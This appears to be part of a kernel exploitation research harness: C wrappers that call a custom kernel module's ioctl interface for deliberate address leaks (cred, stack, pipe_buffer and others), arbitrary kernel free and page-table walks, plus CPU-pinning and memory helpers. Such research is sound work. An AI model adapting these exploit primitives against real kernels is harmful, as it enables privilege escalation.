void lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
{
int ret = __lkm_msg_msg_leak(uaddr, msqid, mtype);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_seq_file_leak(size_t uaddr, size_t fd)
{
msg_t msg = {
.frd = {
.uaddr = uaddr,
.fd = fd,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_SEQ_FILE_LEAK, (unsigned long)&msg);
}
void lkm_seq_file_leak(size_t uaddr, size_t fd)
{
int ret = __lkm_seq_file_leak(uaddr, fd);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_file_leak(size_t uaddr, size_t fd)
{
msg_t msg = {
.frd = {
.uaddr = uaddr,
.fd = fd,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_FILE_LEAK, (unsigned long)&msg);
}
void lkm_file_leak(size_t uaddr, size_t fd)
{
int ret = __lkm_file_leak(uaddr, fd);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
{
msg_t msg = {
.pbrd = {
.uaddr = uaddr,
.fd = fd,
.rdend = rdend,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_PIPE_BUFFER_LEAK, (unsigned long)&msg);
}
void lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
{
int ret = __lkm_pipe_buffer_leak(uaddr, fd, rdend);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_cred_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_CRED_LEAK, (unsigned long)&msg);
}
void lkm_cred_leak(size_t uaddr)
{
int ret = __lkm_cred_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_dpm_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_DPM_LEAK, (unsigned long)&msg);
}
void lkm_dpm_leak(size_t uaddr)
{
int ret = __lkm_dpm_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_virt_base_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_VIRTUAL_BASE_LEAK, (size_t)&msg);
}
void lkm_virt_base_leak(size_t uaddr)
{
int ret = __lkm_virt_base_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_stack_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_STACK_LEAK, (size_t)&msg);
}
void lkm_stack_leak(size_t uaddr)
{
int ret = __lkm_stack_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_code_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_CODE_LEAK, (size_t)&msg);
}
void lkm_code_leak(size_t uaddr)
{
int ret = __lkm_code_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_vmemmap_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_VMEMMAP_LEAK, (size_t)&msg);
}
void lkm_vmemmap_leak(size_t uaddr)
{
int ret = __lkm_vmemmap_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_vmalloc_base_leak(size_t uaddr)
{
msg_t msg = {
.drd = {
.uaddr = uaddr
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_VMALLOC_BASE_LEAK, (size_t)&msg);
}
void lkm_vmalloc_base_leak(size_t uaddr)
{
int ret = __lkm_vmalloc_base_leak(uaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_alloc(size_t id, size_t size)
{
msg_t msg = {
.al = {
.id = id,
.size = size,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_ALLOC, (size_t)&msg);
}
void lkm_alloc(size_t id, size_t size)
{
int ret = __lkm_alloc(id, size);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_free(size_t id)
{
msg_t msg = {
.fr = {
.id = id,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_FREE, (size_t)&msg);
}
void lkm_free(size_t id)
{
int ret = __lkm_free(id);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
size_t __lkm_arb_free(size_t kaddr)
{
msg_t msg = {
.af = {
.kaddr = kaddr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_ARB_FREE, (size_t)&msg);
}
void lkm_arb_free(size_t kaddr)
{
int ret = __lkm_arb_free(kaddr);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int __lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
{
msg_t msg = {
.ptw = {
.uaddr = uaddr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
int ret = ioctl(lkm_fd, LKM_PAGETABLE_WALK, (unsigned long)&msg);
if (!ret) {
if (pgde) *pgde = msg.ptw.pgde;
if (pude) *pude = msg.ptw.pude;
if (pmde) *pmde = msg.ptw.pmde;
if (pte) *pte = msg.ptw.pte;
}
return ret;
}
void lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
{
int ret = __lkm_arb_pagetable_wald(uaddr, pgde, pude, pmde, pte);
if (ret < 0) {
printf("[!] ret %d\n", ret);
_exit(-1);
}
}
int lkm_is_4kb(size_t addr)
{
msg_t msg = {
.ap = {
.addr = addr,
}
};
if (lkm_fd < 0) {
printf("[!] lkm not init\n");
_exit(-1);
}
return ioctl(lkm_fd, LKM_IS_4KB, (unsigned long)&msg);
}

View file

@ -0,0 +1,73 @@
#pragma once
#define _GNU_SOURCE
#include <time.h>
#include <sched.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
void set_limit(void)
{
int ret;
struct rlimit l = {
.rlim_cur = 100000,
.rlim_max = 100000,
};
ret = setrlimit(RLIMIT_NOFILE, &l);
if (ret < 0) {
perror("setrlimit");
exit(-1);
}
}
void pin_to_core(size_t core)
{
int ret;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuset);
if (ret) {
perror("sched_setaffinity: ");
exit(-1);
}
}
size_t mem_total_rounded;
void get_total_memory(void)
{
FILE *fp;
char input[100];
size_t mem_total_kb;
/* Open the command for reading. */
fp = popen("awk '/MemTotal/ { print $2 }' /proc/meminfo", "r");
if (fp == NULL) {
printf("[!] Failed to get MemTotal\n" );
exit(1);
}
/* Read the output a line at a time - output it. */
if (fgets(input, sizeof(input), fp) != NULL) {
mem_total_kb = atoi(input);
if (mem_total_kb == 0) {
printf("[!] Failed to convert MemTotal\n" );
exit(1);
}
mem_total_rounded = (mem_total_kb+(1<<20)-1)/(1<<20) << 30;
printf("[*] MemTotal: %luB\n", mem_total_rounded);
}
else {
printf("[!] Failed to get MemTotal\n" );
exit(1);
}
/* close */
pclose(fp);
}